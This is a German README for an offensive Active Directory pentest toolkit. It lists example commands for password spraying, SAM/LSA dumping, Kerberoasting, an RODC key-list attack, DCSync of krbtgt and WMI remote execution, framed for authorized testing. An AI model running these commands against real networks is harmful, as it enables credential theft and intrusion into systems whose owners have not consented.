
Plattformübergreifendes Netzwerk-Execution-Toolkit (SMB/Kerberos/WMI/LDAP/DCSync), basierend auf TrustedSecs Titanis – NetExec-artiger Workflow in C#
Atlas ist ein plattformübergreifendes (Windows/Linux) Netzwerk-Executions- und Sicherheitsbewertungs-Toolkit, das auf der TrustedSec Titanis-Protokollbibliothek aufbaut. Es ist vom Workflow von NetExec/CrackMapExec inspiriert: Ziellisten, Anmeldedatensätze, modulare Enumeration und kompakte [HH:mm:ss] [+] host - message-Konsolenausgabe.
Dieses Tool ist für autorisierte Sicherheitstests gedacht. Verwenden Sie es nur gegen Systeme, für die Sie ausdrücklich die Erlaubnis zum Testen haben.
| Protokoll | Fähigkeiten |
|---|---|
smb | Authentifizierungsprüfung (NTLM/Kerberos/anonym), Freigaben, Benutzer, Gruppen, Datenträger, Sitzungen über SRVS/SAMR-RPC; SAM- und LSA-Secret-Dumping über Remote Registry; Verzeichnisauflistung, get/put/mkdir/rm über SMB2/3 |
kerberos | Benutzerenumeration (AS-REQ-Klassifizierung), Pre-Auth-/AS-REP-Roastable-Erkennung, Kerberoasting mit hashcat-Format-Ausgabe, Key-List-Angriff gegen RODCs |
wmi | Authentifizierungsprüfung über DCOM/WMI, Remote-Befehlsausführung über Win32_Process.Create |
ldap | Authentifizierungsprüfung (SASL oder RFC 4511 Simple Bind), paginierte Unterbaum-Abfragen mit Attributauswahl |
dcsync | Replikation von Anmeldedatenmaterial von einem DC über [MS-DRSR] (IDL_DRSGetNCChanges + EXOP_REPL_OBJ) |
Gemeinsam für alle Protokolle:
a.b.c.d-e), Komma-Listen, @file.kirbi/.ccache-Tickets, PKINIT-Zertifikate, S4U, SPN-Overrides, SOCKS5Das Repository bündelt den Titanis-Quellcode unter external/Titanis und baut ihn als Teil der Lösung.
git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998
Das resultierende Binary ist eine frameworkabhängige .NET-Anwendung:
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help
atlas <protocol> <targets> [authentication] [actions] [options]
Die Zielangabe akzeptiert jede Kombination aus: HOST, 10.0.0.5, 192.168.1.0/24, 10.0.0.1-64, Komma-getrennte Listen oder @targets.txt.
# Nur Anmeldedatenprüfung
atlas smb 10.0.0.5 -u administrator -p 'Password1!'
# Enumeration
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions
# SAM / LSA-Dumping (erfordert lokalen Administrator)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa
# Dateioperationen
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'
# Module
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess
atlas smb 10.0.0.5 -u admin -p pass -M localadmins
# Passwort-Spray
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'
# Benutzerenumeration (keine Anmeldedaten erforderlich)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt
# Kerberoasting (erfordert beliebige Domänen-Anmeldedaten)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'
# Key-List-Angriff gegen einen RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass # Authentifizierungsprüfung
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # Ausführung
# SASL (NTLM/Kerberos) Bind - typisch gegen Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName
# RFC 4511 Simple Bind - typisch gegen OpenLDAP
atlas ldap ldap.example.com -bd 'cn=admin,dc=example,dc=com' -bp password \
-Query '(objectClass=*)' -Base 'dc=example,dc=com'
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass krbtgt
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass jdoe '(adminCount=1)'
Führen Sie atlas <protocol> -h für die vollständige Parameterreferenz aus.
Atlas.sln
Directory.Build.props Absichtlicher No-Op (siehe Hinweis)
src/
Atlas.props Gemeinsame Build-Einstellungen (explizit von Atlas-Projekten importiert)
Atlas.Core/ Ziel-Parsing, Konsolenausgabe, Modul-Registry
Atlas.Protocols.Smb/ SMB-Host + Module
Atlas.Protocols.Kerberos/ AS-REQ-Enumeration, Roasting, Key-List-Angriff
Atlas.Protocols.Wmi/ WMI/DCOM-Host
Atlas.Protocols.Ldap/ LDAP-Host
Atlas.Protocols.Drsr/ DCSync
Atlas.Cli/ Einstiegspunkt / Protokoll-Dispatcher
external/Titanis/ Gebündelter Titanis-Quellcode (aus Quelle gebaut; nicht auf NuGet)
Hinweis:
Directory.Build.propsim Repository-Root ist absichtlich leer. Der Titanis-Build importiert$(SolutionDir)Directory.Build.props; die Datei muss beim Bauen aus dieser Lösung existieren, muss aber leer bleiben, damit keine Upstream-Einstellungen in den gebündelten Baum gelangen.
Dieses Projekt verlinkt gegen und verteilt Quellcode von TrustedSec's Titanis, das unter GPL-3.0 lizenziert ist. Dementsprechend wird dieses Projekt unter GPL-3.0 verteilt. Siehe external/Titanis/LICENSE.
| Modul | Protokoll | Beschreibung |
|---|
spider | smb | Rekursiver Freigabe-Crawler (depth, maxfiles, match-Optionen) |
shareaccess | smb | READ/WRITE-Zugriffsprüfung pro Freigabe |
localadmins | smb | Mitglieder der lokalen Administratorengruppe über SAMR, Namensauflösung über LSA |
| Option | Bedeutung |
|---|
-u, -UserName | Benutzername (user, DOMAIN\user oder user@realm) |
-p, -Password | Passwort |
-NtlmHash | NT-Hash (NTLM + Kerberos RC4) |
-AesKey | AES128/AES256-Kerberos-Schlüssel |
-Kdc | KDC-Endpunkt für Kerberos |
-Tgt / -TicketCache / -Tickets | .kirbi / .ccache-Ticket-Eingabe |
-Keytab | Keytab-Datei |
-UserCert (+-UserKey) | PKINIT-Zertifikatsauthentifizierung |
-Anonymous | Null-Session |
-ha | Host-Adress-Override (FQDN in Zielposition + IP hier verwenden für korrekte SPNs) |